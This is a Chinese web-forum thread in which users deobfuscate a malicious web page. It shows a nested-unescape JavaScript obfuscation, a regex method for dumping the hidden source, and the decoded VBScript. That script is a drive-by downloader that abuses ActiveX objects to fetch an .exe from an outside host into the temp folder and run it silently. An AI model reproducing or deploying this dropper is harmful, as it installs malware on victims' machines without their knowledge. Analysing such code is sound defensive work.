东方小黄

我不知道这是用什么工具做的，但是我可以简单的分析一下加密过程
看第一句
复制内容到剪贴板
代码:
ACXWOZDN=unescape;YIYFUMWQ=ACXWOZDN;FOSBCLDA=YIYFUMWQ;LWTWWOEF=FOSBCLDA;IAODCUBR=LWTWWOEF;RLGOKEOM=IAODCUBR(LWTWWOEF(((FOSBCLDA(((((((YIYFUMWQ((((ACXWOZDN(((((""+""+"%25%32%35%25%33%32%25%33%35%25%32%35%25%33%33%25%33%32%25%32%35%25%33%33%25%33%35%25%32%35%25%33%32%25%33%35%25%32%35%25%33%33%25%33%33%25%32%35%25%33%33%25%33%33%25%32%35%25%33%32%25%33%35%25%32%35%25%33%33%25%33%36%25%32%35%25%33%33%25%33%33%25%32%35%25%33%32%25%33%35%25%32%35%25%33%33%25%33%32%25%32%35%25%33%33%25%33%35%25%32%35%25%33%32%25%33%35%25%32%35%25%33%33%25%33%33%25%32%35%25%33%33%25%33%37%25%32%35%25%33%32%25%33%35%25%32%35%25%33%33%25%33%33%25%32%35%25%33%33%25%33%33"+""+""+""))))))))))))))))))));document.write(RLGOKEOM);
ACXWOZDN=unescape;YIYFUMWQ=ACXWOZDN;FOSBCLDA=YIYFUMWQ;LWTWWOEF=FOSBCLDA;IAODCUBR=LWTWWOEF;
这是说 ACXWOZDN，YIYFUMWQ，。。。这些都是一个函数：unescape()
然后就清楚了
RLGOKEOM=IAODCUBR(LWTWWOEF(((FOSBCLDA(((((((YIYFUMWQ((((ACXWOZDN(((((""+""+"%25%32%。。。。)))))))))).....
其实就是 RLGOKEOM＝unescape(unescape(unescape(unescape(unescape("(((((""+""+"%25%32%....))))..
然后调用 document.write 写出来。
你就会发现其实第一句话这么长，其实只生成了两个字符 “<s”
我上面说的代换方法就清楚是什么意思了吧？http://hi.baidu.com/anuiz anuiz#163.com
帖子97 精华2 积分3397 阅读权限100 性别男 在线时间172 小时 注册时间2006-4-9 最后登录2008-7-21 查看详细资料TOP 良辰择日，预测咨询，公司改名，权威易经

fhod
运维管理组

ROCKY

如果不信这就是源代码的话我给你说怎么做：
源文件中开头加上
复制内容到剪贴板
代码:
var a="";
然后对所谓的“密文”做正则替换
document.write\((.+?)\)         替换为        a+=$1

然后最后加上显示的：
复制内容到剪贴板
代码:
document.write("<textarea cols=100 rows=30>"+a+"</textarea>");
保存，重新运行网页，就能显示出源码了。http://hi.baidu.com/anuiz anuiz#163.com
帖子97 精华2 积分3397 阅读权限100 性别男 在线时间172 小时 注册时间2006-4-9 最后登录2008-7-21 查看详细资料TOP

虫虫
荣誉会员

yoncom

……只不过是加了居多的代换……
看看吧
复制内容到剪贴板
代码:
<script src=&#39;http://s57.cnzz.com/stat.php?id= ... ine=1&show=line&#39; language=&#39;JavaScript&#39; charset=&#39;gb2312&#39;></script>
<script language="VBScript">
  on error resume next
  bi="object"
  aso="classid"
  shit="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
  wocao="Microsoft.XMLHTTP"
  fuckme="GET"
  caonima="Scripting.FileSystemObject"
  worinima="Shell.Application"
  dl = "http://www.ibm1860.com/888/xzz.exe"
  Set df = document.createElement(bi)
  df.setAttribute aso, shit
  str=wocao
  Set x = df.CreateObject(str,"")
  a1="Ado"
  a2="db."
  a3="Str"
  a4="eam"
  str1=a1&a2&a3&a4
  str5=str1
  set S = df.createobject(str5,"")
  S.type = 1
  str6=fuckme
  x.Open str6, dl, False
  x.Send
  fname1="wocaonimabb.com"
  set F = df.createobject(caonima,"")
  set tmp = F.GetSpecialFolder(2)
  fname1= F.BuildPath(tmp,fname1)
  S.open
  S.write x.responseBody
  S.savetofile fname1,2
  S.close
  set Q = df.createobject(worinima,"")
  Q.ShellExecute fname1,"","","open",0
  </script>
  </body></html>http://hi.baidu.com/anuiz anuiz#163.com
帖子97 精华2 积分3397 阅读权限100 性别男 在线时间172 小时 注册时间2006-4-9 最后登录2008-7-21 查看详细资料TOP 少女暴富的隐秘（图）

jmo_jmo
晶莹剔透§烈日灼然

平凡人

虫虫还是没说用什么加的密
我也很想知道
帖子7 精华0 积分27 阅读权限40 性别男 在线时间2 小时 注册时间2006-7-2 最后登录2006-11-16 查看详细资料TOP 爱要怎么说出口

虫虫
荣誉会员